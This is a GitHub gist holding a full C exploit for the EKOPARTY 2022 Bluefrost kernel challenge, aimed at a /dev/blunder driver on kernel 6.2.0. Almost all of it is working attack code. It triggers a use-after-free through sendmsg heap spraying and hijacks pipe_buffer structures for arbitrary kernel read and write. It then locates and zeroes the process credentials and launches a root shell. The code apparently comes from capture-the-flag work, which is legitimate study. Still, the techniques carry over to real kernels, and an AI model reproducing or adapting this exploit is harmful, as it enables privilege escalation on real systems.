Skip to content

Instantly share code, notes, and snippets.

@soez
Created September 30, 2023 14:24
Show Gist options
  • Save soez/9a741258857c1f2e7d0f0933030cd1ea to your computer and use it in GitHub Desktop.
Save soez/9a741258857c1f2e7d0f0933030cd1ea to your computer and use it in GitHub Desktop.
Bluefrost challenge - EKOPARTY_2022
/*
*
* Author: @javierprtd
* Date : 28-09-2023
* Kernel: 6.2.0
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <string.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdbool.h>
#include <sys/syscall.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#define STACK_SIZE (1024 * 1024)
#define OFFSET_TO_BLUNDER_PROC 0x48
#define MAX_FILES 4
#define MAX_PIPES 0x400
#define NUM_THREADS 0x100
#define BUF_SIZE 0x80
#define PIPE_BUF_FLAG_CAN_MERGE 0x10
#define SZ 0x20000
#define IOCTL_BLUNDER_SET_CTX_MGR _IOWR('s', 1, uint64_t)
#define IOCTL_BLUNDER_SEND_MSG _IOWR('s', 2, struct blunder_user_message)
#define IOCTL_BLUNDER_RECV_MSG _IOWR('s', 3, struct blunder_user_message)
#define IOCTL_BLUNDER_FREE_BUF _IOWR('s', 4, void *)
struct pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t len;
uint64_t ops;
uint32_t flags;
uint32_t pad;
uint64_t private;
};
struct pipe_buf_operations {
uint64_t confirm;
uint64_t release;
uint64_t steal;
uint64_t get;
};
struct blunder_user_message {
int handle;
int opcode;
size_t *data;
size_t data_size;
size_t *offsets;
size_t offsets_size;
int *fds;
size_t num_fds;
};
struct realloc_thread {
size_t proc;
int cpu;
int pair[2];
};
volatile int do_realloc;
struct realloc_thread threads[NUM_THREADS];
int fd[MAX_FILES];
int pipefd[MAX_PIPES][2];
int open_blunder(void *arg) {
int i = *(int *) arg;
fd[i] = open("/dev/blunder", O_RDWR);
if (fd[i] < 0) {
puts("couldn't open device");
}
exit(EXIT_SUCCESS);
}
/*
* Attach to a specific CPU.
*/
bool pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0) {
perror("[-] sched_setafinnity(): ");
return false;
}
return true;
}
int realloc_msg(void *arg) {
struct realloc_thread *thread = (struct realloc_thread *) arg;
struct msghdr mhdr;
struct iovec iov;
struct cmsghdr *cmsg;
char buf[BUF_SIZE];
memset(&iov, 0, sizeof(iov));
memset(&mhdr, 0, sizeof(mhdr));
if (!pin_cpu(thread->cpu))
goto fail;
iov.iov_base = buf;
iov.iov_len = BUF_SIZE;
mhdr.msg_iov = &iov;
mhdr.msg_iovlen = 1;
// Fill the queue
while (sendmsg(thread->pair[0], &mhdr, MSG_DONTWAIT) > 0);
while (!do_realloc);
uint64_t refcount = 0x1, size = 0x200;
memcpy(buf + 0x40, &thread->proc, 8);
memcpy(buf + 0x48, &thread->proc, 8);
memcpy(buf + 0x50, &refcount, 8);
memcpy(buf + 0x58, &size, 8);
cmsg = (struct cmsghdr *) buf;
cmsg->cmsg_level = 0;
cmsg->cmsg_type = 1;
cmsg->cmsg_len = BUF_SIZE;
memcpy(CMSG_DATA(cmsg), buf, BUF_SIZE - 0x10);
mhdr.msg_control = cmsg;
mhdr.msg_controllen = BUF_SIZE;
/* This will block */
if (sendmsg(thread->pair[0], &mhdr, 0) < 0) {
perror("[-] sendmsg");
goto fail;
}
return 0;
fail:
printf("[-] REALLOC THREAD FAILURE!!!\n");
return 0;
}
void hexdump(uint64_t *buf, uint64_t size) {
for (int i = 0; i < size / 8; i += 2) {
printf("0x%x ", i * 8);
printf("%016lx %016lx\n", buf[i], buf[i + 1]);
}
}
int shell() {
if (getuid()) {
printf("FAIL\n");
exit(1);
}
printf("[+] Enjoy root shell :)\n");
char *cmd = "/bin/bash";
char *args[] = {cmd, "-i", NULL};
execve(cmd, args, NULL);
return 0;
}
uint64_t elevate_privs(struct pipe_buffer *fakepipe, uint64_t mem_map) {
uint32_t pos = 0;
int32_t n = 0;
uint64_t page = 0;
char buf[4096] = {0};
char buf_c[8] = { [0 ... 7] = 0xcc };
char *name = "exp1337";
prctl(PR_SET_NAME, name, 0, 0, 0);
/* Searching for credentials page */
for (uint64_t i = 0; i < 0x10000; i++) {
// map in /proc/iomem
page = (mem_map + ((0x100000000 >> 12) * 0x40)) + (0x40 * i);
fakepipe->page = page;
fakepipe->offset = 0;
fakepipe->len = 4096 + 1; // To avoid release
fakepipe->flags = PIPE_BUF_FLAG_CAN_MERGE;
if (!pos) {
for (int j = 0; j < MAX_PIPES; j++) {
n = read(pipefd[j][0], buf, 4096);
if (n < 0 || strncmp(buf, buf_c, 8)) {
printf("[+] pipe fd found at %dth\n", j);
pos = j;
break;
}
bzero(buf, 4096);
}
} else {
bzero(buf, 4096);
n = read(pipefd[pos][0], buf, 4096);
}
if (n != 4096) continue;
char *off = memmem(buf, 4096, name, strlen(name));
if (off) {
uint64_t creds = 0, real_creds = 0;
creds = *(uint64_t *) (off - 16);
real_creds = *(uint64_t *) (off - 24);
if (creds && real_creds && creds == real_creds) {
puts("[+] Creds found!!");
// hexdump((uint64_t *) buf, 4096);
char zeroes[0x20] = { [0 ... 0x1f] = 0 };
uint64_t task = (*(uint64_t *) (off - 320)) - 0xb8;
uint64_t cred_page = 0;
/* In this way, we will find the distance to the credentials page */
if (task > creds) {
cred_page = page - ((task >> 12) - (creds >> 12)) * 0x40;
} else {
cred_page = page + ((creds >> 12) - (task >> 12)) * 0x40;
}
int count = 0;
uint64_t cred_off = creds & 0xfff;
intent:
count++;
fakepipe->page = cred_page;
fakepipe->offset = cred_off + 4;
fakepipe->len = 0;
fakepipe->flags = PIPE_BUF_FLAG_CAN_MERGE;
int n_w = write(pipefd[pos][1], zeroes, 0x20);
if (getuid() && count == 1) {
cred_page = cred_page - 0x40;
goto intent;
}
if (n_w == 0x20) {
puts("[+] Patched");
shell();
} else {
puts("[+] Fail patching :(");
exit(1);
}
}
}
// puts("[+] Continue for another page ...");
}
puts("[+] No creds found :(");
}
int main(int argc, char *argv[]) {
uint64_t addr = 0x10000;
int tid[MAX_FILES], freed = -1, normal = -1, victim = -1;
uint64_t proc;
uint64_t *map[MAX_FILES];
struct blunder_user_message umsg;
void *stack = calloc(1, STACK_SIZE);
pin_cpu(0);
puts("[+] Bluefrost challange - EKOPARTY_2022");
puts("[+] Opening several fd /dev/blunder ...");
/* Searching for contiguous proc structs */
for (int i = 0; i < MAX_FILES; i++) {
tid[i] = clone(open_blunder, stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, &i);
if (tid[i] < 0) {
puts("couldn't create child process");
exit(0);
}
wait(NULL);
if ((map[i] = mmap((void *) addr, SZ, PROT_READ, MAP_SHARED | MAP_FIXED, fd[i], 0)) == MAP_FAILED) {
perror("[-] mmap()");
exit(0);
}
mprotect((void *) addr, SZ, PROT_READ | PROT_WRITE);
addr += SZ;
if (victim == -1) {
for (int j = 0; j <= i; j++) {
uint32_t r = (map[i][1] - OFFSET_TO_BLUNDER_PROC) - (map[j][1] - OFFSET_TO_BLUNDER_PROC);
if (r == BUF_SIZE) {
normal = i;
freed = j;
break;
}
}
switch (normal) {
case 0: switch (freed) {
case 1: victim = 2;
break;
case 2 ... 3: victim = 1;
break;
}
break;
case 1: switch (freed) {
case 0: victim = 2;
break;
case 2 ... 3: victim = 0;
break;
}
break;
case 2: switch (freed) {
case 0: victim = 1;
break;
case 1: victim = 0;
break;
case 3: victim = 1;
break;
}
break;
case 3: switch (freed) {
case 0: victim = 1;
break;
case 1: victim = 0;
break;
case 2: victim = 1;
break;
}
break;
}
}
}
if (victim == -1) {
puts("couldn't get fd victim");
exit(0);
}
printf("[+] fd normal: %d\n", fd[normal]);
printf("[+] fd to be freed: %d\n", fd[freed]);
printf("[+] fd to be victim: %d\n", fd[victim]);
printf("[+] Sending to fd: %d victim one msg ...\n", fd[victim]);
umsg.handle = tid[victim];
umsg.data = calloc(1, 0x100);
memset(umsg.data, 0x42, 0x100);
umsg.data_size = 0x100;
umsg.offsets_size = 0;
umsg.num_fds = 0;
/* Sending one message to get leak information and handle de bundle_buffer in user space */
ioctl(fd[victim], IOCTL_BLUNDER_SEND_MSG, (struct blunder_user_message *) &umsg);
printf("[+] blunder_proc to be freed: 0x%lx\n", map[freed][1] - OFFSET_TO_BLUNDER_PROC);
printf("[+] blunder_proc normal: 0x%lx\n", map[normal][1] - OFFSET_TO_BLUNDER_PROC);
uint64_t mapping = map[victim][(0x138 / 8)];
printf("[+] victim mapping: 0x%lx\n", mapping);
puts("[+] sendmsg -> filling queue ...");
/* Filling msgs queue */
do_realloc = 0;
int ncpus = sysconf(_SC_NPROCESSORS_ONLN);
for (int i = 0; i < NUM_THREADS; i++) {
threads[i].proc = map[victim][1];
threads[i].cpu = i % ncpus;
/* Create a socketpair. */
if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, threads[i].pair) < 0) {
perror("[-] socketpair");
exit(0);
}
stack = calloc(1, STACK_SIZE);
int tid = clone(realloc_msg, stack + STACK_SIZE, CLONE_VM | CLONE_FILES | SIGCHLD, &threads[i]);
if (tid < 0) {
perror("[-] clone");
exit(1);
}
}
sleep(4);
printf("[+] unmap memory %p and close fd %d to free the first proc struct\n", map[freed], fd[freed]);
/* munmap and close to free the first proc struct */
if (munmap((void *) map[freed], SZ) < 0) {
puts("couldn't unmap memory");
exit(0);
}
close(fd[freed]);
/* spray sendmsg */
do_realloc = 1;
puts("[+] sendmsg -> realloc msg ...");
sleep(4);
puts("[+] Overwriting blunder_proc normal ...");
umsg.handle = 0;
umsg.data = calloc(1, 0x100);
memset(umsg.data, 0x42, 0x100);
umsg.data_size = 0x100;
umsg.offsets_size = 0;
umsg.num_fds = 0;
proc = map[normal][1] - OFFSET_TO_BLUNDER_PROC - 0x30;
/* Overwriting the proc struct */
ioctl(fd[normal], IOCTL_BLUNDER_SET_CTX_MGR, 0);
ioctl(fd[normal], IOCTL_BLUNDER_SEND_MSG, (struct blunder_user_message *) &umsg);
map[normal][0] = proc;
uint64_t refcount = 1, pid = getpid(), node = map[victim][1], k = mapping - 0x50000, g = mapping + 0x130, sz = SZ;
umsg.data = calloc(1, 0x58);
memcpy(((char *) umsg.data), (char *) &refcount, 0x8);
memcpy(((char *) umsg.data) + 0x8, (char *) &pid, 0x8);
memcpy(((char *) umsg.data) + 0x10, (char *) &node, 0x8);
memset(((char *) umsg.data) + 0x18, 0, 0x18);
memcpy(((char *) umsg.data) + 0x30, (char *) &mapping, 0x8);
memcpy(((char *) umsg.data) + 0x38, (char *) &sz, 0x8);
memcpy(((char *) umsg.data) + 0x40, (char *) &k, 0x8);
memcpy(((char *) umsg.data) + 0x48, (char *) &mapping, 0x8);
memcpy(((char *) umsg.data) + 0x50, (char *) &g, 0x8);
umsg.data_size = 0x58;
ioctl(fd[normal], IOCTL_BLUNDER_SEND_MSG, (struct blunder_user_message *) &umsg);
printf("[+] unmap memory %p and close fd normal %d to trigger victim UAF ...\n", map[normal], fd[normal]);
/* munmap and close to get UAF in victim map */
if (munmap((void *) map[normal], SZ) < 0) {
puts("couldn't unmap memory");
return 0;
}
close(fd[normal]);
sleep(2);
puts("[+] Spraying pipe_buffer ...");
struct rlimit limit;
limit.rlim_cur = 65535;
limit.rlim_max = 65535;
if (setrlimit(RLIMIT_NOFILE, &limit) != 0) {
perror("[-] setrlimit()");
exit(0);
}
sleep(2);
/* Spray pipe_buffer */
for (int i = 0; i < MAX_PIPES; i++) {
if (pipe(pipefd[i]) < 0){
perror("[-] pipe");
exit(1);
}
// This will do that pipe_buffer size being of sizeof(struct pipe_buffer) * 4 = 40 * 4 = 160 -> kmalloc-192
if (fcntl(pipefd[i][1], F_SETPIPE_SZ, 4096 * 4) < 0) {
perror("[-] fcntl");
exit(1);
}
char buf[1337] = { [0 ... 1336] = 0xcc };
if (write(pipefd[i][1], buf, 1337) < 0) {
perror("[-] write");
exit(1);
}
}
// hexdump(map[victim], SZ);
/* Getting the vmemmap_base */
uint32_t *buf = (uint32_t *) map[victim];
uint32_t pos = -1;
struct pipe_buffer *fakepipe;
for (int j = 3; j < SZ / sizeof(uint32_t); j += sizeof(uint32_t)) {
if (buf[j] == 1337) {
puts("[+] pipe_buffer found!!");
fakepipe = (struct pipe_buffer *) &buf[j - 3];
pos = j - 3;
break;
}
}
if (pos == -1) {
puts("[-] No pipe buffer found :(");
exit(1);
}
printf("[+] pipe_buffer->page: 0x%016lx\n", fakepipe->page);
uint64_t mem_map = fakepipe->page & 0xfffffffff0000000;
printf("[+] vmemmap_base: 0x%016lx\n", mem_map);
puts("[+] Elevating privileges ...");
/* Elevating privileges */
elevate_privs(fakepipe, mem_map);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment